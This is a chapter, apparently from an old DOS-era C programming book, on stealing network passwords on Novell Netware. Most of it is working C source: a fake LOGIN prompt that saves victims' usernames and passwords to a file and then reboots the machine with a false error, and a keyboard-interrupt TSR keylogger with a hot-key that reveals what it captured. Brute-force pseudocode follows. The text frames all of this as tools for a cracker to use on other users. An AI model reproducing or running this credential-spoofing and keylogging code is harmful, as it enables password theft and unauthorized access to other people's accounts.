65 Network Passwords

"Correction and punishment make children wise."

Novell Netware and Windows NT are the famous Network Operating Systems. Now, Novell Netware is quite obsolete. This Network Operating System provides security to files of each user in the network. So accessing another user's file in network is restricted. In order to access another user's files, we need access privilege or his password.

65.1 Novell Netware

Crackers usually use following methods to steal passwords in Novell Netware Systems.

65.1.1 Fake Prompts

One of the easiest method is to run your 'fake prompt' program and leave the place. The output of that program should be like

```
F:\LOGIN>
```

Another innocent user will enter his user name and password as:

```
F:\LOGIN>LOGIN JACK
Enter your password: ****
```

Now the 'fake prompt' program will save the username and password in your area. And it will restart the system. The innocent user may not be aware of the cause. The following code does this:

```
#include <stdio.h>
#include <conio.h>

void ReBoot( void )
{
    void (far* fp)(void) = (void (far*)(void))0xFFFF0000UL;
    *(unsigned far *)0x00400072UL = 0;  /* 0 for cold boot */
    (*fp)();
} /*--ReBoot( )-------*/
int main( void )
{
    FILE *fp;
    char *passwd, pass[50], username[50];
    passwd = pass;
```

```
    /* Open the 'password database' in append mode */
    if ( (fp=fopen( "stolen.pas", "a" ) )==NULL )
      {
          perror( "\n\aError: " );
          exit(1);
      }
    clrscr( );
    printf( "F:\\LOGIN>" );
    gets( username );
    passwd = getpass( "Enter your password: ");
    /* Now store the values in 'password database' */
    fprintf( fp, "%s %s\n", username, passwd );
    fclose( fp );
    /* Now, confuse the user with some messages & reboot the system */
    printf( "\nFatal Error: 1000111" );  /* lies!! */
    printf( "\nRestarting....." );
    ReBoot( );
    return(0);
} /*--main( )-----------*/
```

This method has got drawbacks. The user may not enter the right username and right password always. Another thing is if somebody switches off the system, your ‘fake prompt’ program will no more be alive.

65.1.2 TSR program

Another technique preferred is to use a TSR program to trap the key press. Crackers usually use a buffer with enough size (say 50), to store the key presses. The cracker will execute the TSR program and will logoff. But the TSR program will still be active. The innocent user will now login, his key presses will be trapped in a buffer. When the innocent user logoff or goes off, the cracker will silently come and use his hot-key to see the trapped keys and so his password. This method is better than the previous method because even if the innocent user enters wrong user name or password, it silently traps them. The following code does this:

```
#include <dos.h>

#define  _4KB     (4096)

#define  F12                  (88)  /* Hot key */

#define  IS_BACKSPACE(key)    (key==14)
#define  IS_SPACE_BAR(key)    (key==57)
#define  IS_ENTER(key)        (key==28)
#define  IS_SPL_ROW(key)      (key>=2  && key<=13)
#define  IS_SPL_1(key)        (key==41)
#define  IS_SPL_2(key)        (key==43)
```

```
#define  IS_Q_ROW(key)        (key>=16 && key<=27)
#define  IS_A_ROW(key)        (key>=30 && key<=40)
#define  IS_Z_ROW(key)        (key>=44 && key<=53)
#define  IS_NUM_ROW1(key)     (key>=71 && key<=73)
#define  IS_NUM_ROW2(key)     (key>=75 && key<=77)
#define  IS_NUM_ROW3(key)     (key>=79 && key<=81)
#define  IS_NUM_ROW4(key)     (key>=82 && key<=83)

#define  SIZE          (50)

char  Key_String[SIZE],
      Space_Bar = ' ',
      Spl_Row[] = "!@#$%^&*()_+",
      Spl_1 = '~',
      Spl_2 = '|',
      Q_Row[] = "qwertyuiop[]",
      A_Row[] = "asdfghjkl;'",
      Z_Row[] = "zxcvbnm,./",
      Num_Row1[] = "789",
      Num_Row2[] = "456",
      Num_Row3[] = "123",
      Num_Row4[] = "0.",
      Enter_Symbol[] = " Ù";
char far *Vid_RAM;
int i=0, Key_Val, Last_Pos = 0;

void WriteCh2VidRAM(int vdupage, int x, int y, char ch, int attribute );
void WriteStr2VidRAM(int vdupage,int x,int y,char *str, int attribute );

void interrupt (*Int9)( );
void interrupt MyInt9( );

void WriteCh2VidRAM( int vdupage, int x, int y, char ch, int attribute )
{
   FP_SEG( Vid_RAM ) = 0xb800;
   FP_OFF( Vid_RAM ) = 0x0000;

   *(Vid_RAM + _4KB * vdupage + 160 * y + 2 * x) = ch;
   *(Vid_RAM + _4KB * vdupage + 160 * y + 2 * x + 1) = attribute;
} /*--WriteCh2VidRAM( )-----------*/

void WriteStr2VidRAM(int vdupage,int x,int y, char *str, int attribute )
{
   while(*str)
         WriteCh2VidRAM( vdupage, x++, y, *str++, attribute );
} /*--WriteStr2VidRAM( )------------*/
```

```
void interrupt MyInt9( void )
{
   Key_Val = inportb(0x60);
   if ( Key_Val==F12 )    /* Hot key pressed? */
      {
          Key_String[i] = '\0';
          WriteStr2VidRAM( 0, 10, 10, Key_String, 112 );
          i = 0;
      }
   if ( i< SIZE-2 )  /* avoid array overflow */
       {
          if ( IS_SPL_ROW(Key_Val) )
            Key_String[i++] = Spl_Row[Key_Val - 2];
           else if ( IS_SPL_1(Key_Val) )
            Key_String[i++] = Spl_1;
           else if ( IS_SPL_2(Key_Val) )
            Key_String[i++] = Spl_2;
           else if ( IS_Q_ROW(Key_Val) )
            Key_String[i++] = Q_Row[Key_Val - 16];
           else if ( IS_A_ROW(Key_Val) )
            Key_String[i++] = A_Row[Key_Val - 30];
           else if ( IS_Z_ROW(Key_Val) )
            Key_String[i++] = Z_Row[Key_Val - 44];
           else if ( IS_NUM_ROW1(Key_Val) )
            Key_String[i++] = Num_Row1[Key_Val - 71];
           else if ( IS_NUM_ROW2(Key_Val) )
            Key_String[i++] = Num_Row2[Key_Val - 75];
           else if ( IS_NUM_ROW3(Key_Val) )
            Key_String[i++] = Num_Row3[Key_Val - 79];
           else if ( IS_NUM_ROW4(Key_Val) )
            Key_String[i++] = Num_Row4[Key_Val - 82];
           else if ( IS_SPACE_BAR(Key_Val) )
            Key_String[i++] = Space_Bar;
           else if ( IS_ENTER(Key_Val) )
             {
              Key_String[i++] = Enter_Symbol[0];
              Key_String[i++] = Enter_Symbol[1];
              Last_Pos = i;
             }
           else if (IS_BACKSPACE(Key_Val) && i != Last_Pos)
            i -=1;
       }
  (*Int9)( );
} /*--interrupt MyInt9-----*/
int main(void)
{
   Int9 = getvect( 9 );
```

```
   setvect( 9, MyInt9 );
   keep( 0, 500 );
   return(0);
} /*--main( )----*/
```

65.1.3 Brute force Cracking

The previous method indirectly needs the innocent user's actions. But this brute force cracking technique doesn't need the innocent user. The idea is to try all possible combinations of character until the right password is found. Doing so, manually is tough, but a program will smoothen the process. But even then, it is time consuming. This technique uses stuff key technique and brute force password generator technique. It is left to the user as a challenging exercise.

The algorithm is:

```
passwordfound = FALSE;
username = "JACK";
while( !passwordfound )
{
   trypassword = BruteForce( );
   Stuffkeys( username );
   Stuffkeys( trypassword );
   if( no error )
      passwordfound = TRUE;
}
if( passwordfound )
   Print trypassword
else
   Print Cracking not yet possible!
```

65.1.4 Cracking from password file

If we know the details of password file, it will be easier to steal passwords. But it is usually a difficult thing to get details about how and where the passwords are stored. I avoid dealing with such technique, as it is more vulnerable.

65.2 Windows NT

Windows NT's passwords are stored in specific password database but in cryptic form. If you know the hash values and have access to password database, it won't be a tough job to crack the passwords. Because of certain reasons, I avoid dealing the Windows NT password cracking. Anyhow it is not a tough job for crackers.